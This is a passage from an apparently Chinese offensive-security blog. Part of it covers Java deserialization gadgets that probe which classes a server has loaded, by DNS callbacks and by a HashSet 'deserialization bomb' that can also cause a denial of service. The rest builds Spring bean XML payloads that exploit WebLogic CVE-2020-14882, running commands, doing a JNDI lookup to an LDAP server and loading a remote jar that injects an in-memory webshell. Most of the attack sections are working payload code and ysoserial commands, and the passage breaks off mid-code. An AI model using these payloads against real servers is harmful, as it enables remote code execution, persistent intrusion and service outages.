class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// java.util.HashMap#readObject</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> IOException, ClassNotFoundException</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> ......</span><br><span class="line"> <span class="comment">// Read the keys and values, and put the mappings in the HashMap</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>; i<mappings; i++) {</span><br><span class="line"> <span class="comment">// 序列化要探测的Class</span></span><br><span class="line"> K key = (K) s.readObject();</span><br><span class="line"> <span class="comment">// 反序列化URL对象</span></span><br><span class="line"> V value = (V) s.readObject();</span><br><span class="line"> putForCreate(key, value);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最终gadget构造如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Authors</span>({ Authors.NOPOINT,Authors.C0NY1 })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FindClassByDNS</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String command)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> String[] cmds = command.split(<span class="string">"\\|"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(cmds.length != <span class="number">2</span>){</span><br><span class="line"> System.out.println(<span class="string">"<url>|<class name>"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> String url = cmds[<span class="number">0</span>];</span><br><span class="line"> String clazzName = cmds[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"> URLStreamHandler handler = <span class="keyword">new</span> SilentURLStreamHandler();</span><br><span class="line"> HashMap ht = <span class="keyword">new</span> HashMap();</span><br><span class="line"> URL u = <span class="keyword">new</span> URL(<span class="keyword">null</span>, url, handler);</span><br><span class="line"> <span class="comment">// 以URL对象为key,以探测Class为value</span></span><br><span class="line"> ht.put(u, makeClass(clazzName));</span><br><span class="line"> Reflections.setFieldValue(u, <span class="string">"hashCode"</span>, -<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">return</span> ht;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap</span><br></pre></td></tr></table></figure><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/find-class-by-dnslog.png" alt="使用dnslog探测class"></p><h2 id="0x05-通过反序列化炸弹探测class"><a href="#0x05-通过反序列化炸弹探测class" class="headerlink" title="0x05 通过反序列化炸弹探测class"></a>0x05 通过反序列化炸弹探测class</h2><p>有些环境可能没有配置DNS服务,这个时候就无法使用上面的gadget来探测。为了应对这个场景,我第一时间想到的就是改造<code>JRMPClient</code>。但是看了下调用链中的class没有Object类型的属性,没法断链。于是只能去挖掘新gadget,后面大约花了一周时间也没有成果。加之有其他事情,构造的事就搁浅了一段时间。直到无意间拜读<code>@fnmsd</code>师父的文章,看到了<code>@Joshua Bloch</code>的<a href="https://homepages.ecs.vuw.ac.nz/~alex/files/DietrichJezekRasheedTahirPotaninECOOP2017.pdf" target="_blank" rel="noopener">《effective java》</a>,瞬间来了灵感。</p><p>里面给出了一个反序列化炸弹的技巧,<strong>通过构造特殊的多层嵌套HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器所有性能,导致拒绝服务。在这个基础上,我选择消耗部分性能达到间接延时的作用,来探测class。</strong> 控制深度确定时间,使用class作为HashSet节点,</p><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/the-principle-of-java-deserialization-bomb.png" alt="使用反序列化炸弹探测class原理"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Authors</span>({ Authors.C0NY1 })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FindClassByBomb</span> <span class="keyword">extends</span> <span class="title">PayloadRunner</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span> <span class="params">( <span class="keyword">final</span> String command )</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">int</span> depth;</span><br><span class="line"> String className = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(command.contains(<span class="string">"|"</span>)){</span><br><span class="line"> String[] x = command.split(<span class="string">"\\|"</span>);</span><br><span class="line"> className = x[<span class="number">0</span>];</span><br><span class="line"> depth = Integer.valueOf(x[<span class="number">1</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> className = command;</span><br><span class="line"> depth = <span class="number">28</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Class findClazz = makeClass(className);</span><br><span class="line"> Set<Object> root = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> Set<Object> s1 = root;</span><br><span class="line"> Set<Object> s2 = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < depth; i++) {</span><br><span class="line"> Set<Object> t1 = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> Set<Object> t2 = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> t1.add(findClazz);</span><br><span class="line"></span><br><span class="line"> s1.add(t1);</span><br><span class="line"> s1.add(t2);</span><br><span class="line"></span><br><span class="line"> s2.add(t1);</span><br><span class="line"> s2.add(t2);</span><br><span class="line"> s1 = t1;</span><br><span class="line"> s2 = t2;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> root;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在<code>25</code>到<code>28</code>之间,切记不要设置太大否则造成DOS。</p><p>我们来看下效果。InvokerTransformer类存在,延时25s。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28"</span><br></pre></td></tr></table></figure><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/find-class-by-bomb-test1.png" alt="探测存在的class延时成功"></p><p>InvokerTransformer666类不存在,不延时。</p><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/find-class-by-bomb-test2.png" alt="探测不存在的class不延时"></p><h2 id="0x06-配合class-checklist食用"><a href="#0x06-配合class-checklist食用" class="headerlink" title="0x06 配合class checklist食用"></a>0x06 配合class checklist食用</h2><p>要想在实战中使用,我们就需要事先去制作一份class的<code>checklist</code>备用。下面我通过diff maven中央仓库的统计的结果。最新的<code>checklist</code>和<code>gadget</code>都更新到<code>ysoserial-for-woodpecker</code>项目。</p><h5 id="6-1-CommonsCollections"><a href="#6-1-CommonsCollections" class="headerlink" title="6.1 CommonsCollections"></a>6.1 CommonsCollections</h5><p>必须存在类:org.apache.commons.collections.functors.ChainedTransformer</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">>= 3.1 or = 20040616</td><td align="center">org.apache.commons.collections.list.TreeList</td><td align="center">是</td><td align="center">无</td></tr><tr><td align="center">>= 3.2.2</td><td align="center">org.apache.commons.collections.functors.FunctorUtils$1</td><td align="center">否</td><td align="center">无</td></tr></tbody></table><h4 id="6-2-CommonsCollections4"><a href="#6-2-CommonsCollections4" class="headerlink" title="6.2 CommonsCollections4"></a>6.2 CommonsCollections4</h4><p>必须存在类:org.apache.commons.collections4.comparators.TransformingComparator</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">>= 4.1</td><td align="center">否</td><td align="center">存在org.apache.commons.collections4.FluentIterable</td><td align="center">无</td></tr><tr><td align="center">4.0</td><td align="center">否</td><td align="center">不存在org.apache.commons.collections4.FluentIterable</td><td align="center">无</td></tr></tbody></table><h4 id="6-3-CommonsBeanutils"><a href="#6-3-CommonsBeanutils" class="headerlink" title="6.3 CommonsBeanutils"></a>6.3 CommonsBeanutils</h4><p>必须存在类:org.apache.commons.beanutils.BeanComparator</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">>= 1.9.0</td><td align="center">是</td><td align="center">存在org.apache.commons.beanutils.BeanIntrospector</td><td align="center">org.apache.commons.beanutils.BeanComparator -2044202215314119608</td></tr><tr><td align="center">1.7.0 <= <= 1.8.3</td><td align="center">是</td><td align="center">存在org.apache.commons.collections.Buffer</td><td align="center">org.apache.commons.beanutils.BeanComparator -3490850999041592962</td></tr><tr><td align="center">>= 1.6 or = 20030211.134440</td><td align="center">是</td><td align="center">存在org.apache.commons.beanutils.ConstructorUtils</td><td align="center">org.apache.commons.beanutils.BeanComparator 2573799559215537819</td></tr><tr><td align="center">>= 1.5 or 20021128.082114 > 1.4.1</td><td align="center">是</td><td align="center">存在org.apache.commons.beanutils.BeanComparator</td><td align="center">org.apache.commons.beanutils.BeanComparator 5123381023979609048</td></tr></tbody></table><h4 id="6-4-c3p0"><a href="#6-4-c3p0" class="headerlink" title="6.4 c3p0"></a>6.4 c3p0</h4><p>必须存在类:com.mchange.v2.c3p0.PoolBackedDataSource</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">0.9.5-pre9 ~ 0.9.5.5</td><td align="center">是</td><td align="center">存在com.mchange.v2.c3p0.test.AlwaysFailDataSource</td><td align="center">com.mchange.v2.c3p0.PoolBackedDataSource -2440162180985815128</td></tr><tr><td align="center">0.9.2-pre2-RELEASE ~ 0.9.5-pre8</td><td align="center">是</td><td align="center">不存在com.mchange.v2.c3p0.test.AlwaysFailDataSource</td><td align="center">com.mchange.v2.c3p0.PoolBackedDataSource 7387108436934414104</td></tr></tbody></table><p>以c3p0为例子,我们判断的步骤应该是</p><ol><li>第一步判断<code>com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase</code>是否存在,若存在C3P0可用</li><li>第二步判断<code>com.mchange.v2.c3p0.test.AlwaysFailDataSource</code>是否存在,存在说明是高版本,suid切换<code>-2440162180985815128</code>。否则切换<code>7387108436934414104</code></li></ol><h2 id="0x07-最后的思考"><a href="#0x07-最后的思考" class="headerlink" title="0x07 最后的思考"></a>0x07 最后的思考</h2><p>有了类探测当然不只可以做排查gadget可用性问题,只要你维护出一个不错的class checklist。如下信息都可以判断:</p><ol><li>Oracle jdk or Open jdk</li><li>是jre还是jdk</li><li>中间件类型(辅助构造回显/内存马)</li><li>使用的web框架</li><li>BCEL classloader是否存在</li><li>判断java版本是否低于<7u104(该版本可以00截断)</li><li>……</li></ol><p>其他类型(Xstream/Fastjson/SnakeYaml…)的反序列化gadget也是一样的思路,小tips是否可以变成利器,看挥舞它的人。</p><h2 id="0x08-参考文章"><a href="#0x08-参考文章" class="headerlink" title="0x08 参考文章"></a>0x08 参考文章</h2><ul><li><a href="https://blog.csdn.net/nevermorewo/article/details/100100048" target="_blank" rel="noopener">反序列化炸弹</a></li><li><a href="https://blog.csdn.net/fnmsd/article/details/115672540?spm=1001.2014.3001.5501" target="_blank" rel="noopener">Java反序列化机制拒绝服务的利用与防御</a></li><li><a href="https://github.com/jbloch/effective-java-3e-source-code/" target="_blank" rel="noopener">https://github.com/jbloch/effective-java-3e-source-code/</a></li></ul>]]></content>
<tags>
<tag> 漏洞利用 </tag>
</tags>
</entry>
<entry>
<title>weblogic下spring bean RCE的一些拓展</title>
<link href="/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/"/>
<url>/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/</url>
<content type="html"><![CDATA[<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>有一次通过<code>CVE-2020-14882</code>漏洞打了一台Windows上的<code>weblogic 10.3.6.0</code>,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"pb"</span> <span class="attr">class</span>=<span class="string">"java.lang.ProcessBuilder"</span> <span class="attr">init-method</span>=<span class="string">"start"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span>cmd<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span>/c<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span><![CDATA[calc]]><span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>只能思考如何构造可以执行任意代码的<code>spring bean xml</code>来一键注入内存马了。</p><p><strong>weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。</strong></p><p>同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。</p><ol><li>兼容性高</li><li>利用复杂度低</li><li>简洁体积小</li></ol><p>接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。</p><h2 id="0x01-init-method系列payload"><a href="#0x01-init-method系列payload" class="headerlink" title="0x01 init-method系列payload"></a>0x01 init-method系列payload</h2><p>目前公开的payload是将恶意数据传入构成函数,然后通过<code>init-method</code>来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。</p><h4 id="1-2-UnitOfWorkChangeSet"><a href="#1-2-UnitOfWorkChangeSet" class="headerlink" title="1.2 UnitOfWorkChangeSet"></a>1.2 UnitOfWorkChangeSet</h4><p>在weblogic 10.3.6.0版本有一个<code>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</code>类,构造函数可以直接触发反序列化。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"pb"</span> <span class="attr">class</span>=<span class="string">"oracle.toplink.internal.sessions.UnitOfWorkChangeSet"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="comment"><!-- 反序列化gadget序列化数据 --></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>-84<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>-19<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>0<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>5<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> ......</span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>但是这个payload需要有gadget才能任意代码执行,显然不是很完美。</p><h4 id="1-2-XmlDecoder"><a href="#1-2-XmlDecoder" class="headerlink" title="1.2 XmlDecoder"></a>1.2 XmlDecoder</h4><p>在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">String xml = <span class="string">"<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>"</span>;</span><br><span class="line"></span><br><span class="line">ByteArrayInputStream inputStream = <span class="keyword">new</span> ByteArrayInputStream(xml.getBytes());</span><br><span class="line">XMLDecoder xmlDecoder = <span class="keyword">new</span> XMLDecoder(inputStream);</span><br><span class="line">xmlDecoder.readObject();</span><br></pre></td></tr></table></figure><p>把上面代码转成spring bean如下:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"pb"</span> <span class="attr">class</span>=<span class="string">"java.beans.XMLDecoder"</span> <span class="attr">init-method</span>=<span class="string">"readObject"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"x"</span> <span class="attr">class</span>=<span class="string">"java.io.ByteArrayInputStream"</span> ></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="comment"><!-- xml序列化内容 --></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>60<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>106<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>97<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>118<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>97<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>62<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> ......</span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。</p><h2 id="0x02-factory-method系列payload"><a href="#0x02-factory-method系列payload" class="headerlink" title="0x02 factory-method系列payload"></a>0x02 factory-method系列payload</h2><p>后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路</p><ol><li>编写gadgetinspector规则挖掘符合条件的class</li><li>再翻翻官方文档,看看有没有可能直接调用有参数方法。</li></ol><p>很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看<a href="https://docs.spring.io/spring-framework/docs/current/reference/html/core.html" target="_blank" rel="noopener">官方文档</a>时,我着重关注如下涉及方法调用的标签和属性。</p><table><thead><tr><th>标签/属性</th><th>分析</th></tr></thead><tbody><tr><td><bean><constructor-arg></constructor-arg></bean></td><td>调用构造器</td></tr><tr><td><property></td><td>创建bean时,可调setter方法</td></tr><tr><td>init-method</td><td>bean初始化时,可以调用一个无参方法</td></tr><tr><td>destroy-method</td><td>bean被销毁时,可以调用一个无参方法</td></tr><tr><td>lookup-method</td><td>可以控制返回结果,但是weblogic没有cglib库,这个标签没发用</td></tr><tr><td>replace-method</td><td>任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑</td></tr><tr><td>factory-method</td><td>通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以</td></tr></tbody></table><p>很显然factory-method非常符合我们的要求,构造起payload就轻松多了。</p><h4 id="2-1-jndi"><a href="#2-1-jndi" class="headerlink" title="2.1 jndi"></a>2.1 jndi</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">class</span>=<span class="string">"javax.naming.InitialContext"</span> <span class="attr">factory-method</span>=<span class="string">"doLookup"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"ldap://127.0.0.1:1664/exp"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>jndi有jdk版本限制,so继续优化。</p><h4 id="2-2-loadjar"><a href="#2-2-loadjar" class="headerlink" title="2.2 loadjar"></a>2.2 loadjar</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"classLoader"</span> <span class="attr">class</span>=<span class="string">"java.net.URLClassLoader"</span> ></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"java.net.URL"</span>></span>http://127.0.0.1:1664/exp.jar<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazz"</span> <span class="attr">factory-bean</span>=<span class="string">"classLoader"</span> <span class="attr">factory-method</span>=<span class="string">"loadClass"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"InjectMemshell"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">factory-bean</span>=<span class="string">"clazz"</span> <span class="attr">factory-method</span>=<span class="string">"newInstance"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。</p><h4 id="2-3-bcel"><a href="#2-3-bcel" class="headerlink" title="2.3 bcel"></a>2.3 bcel</h4><figure class="highlight java"><table><tr><td 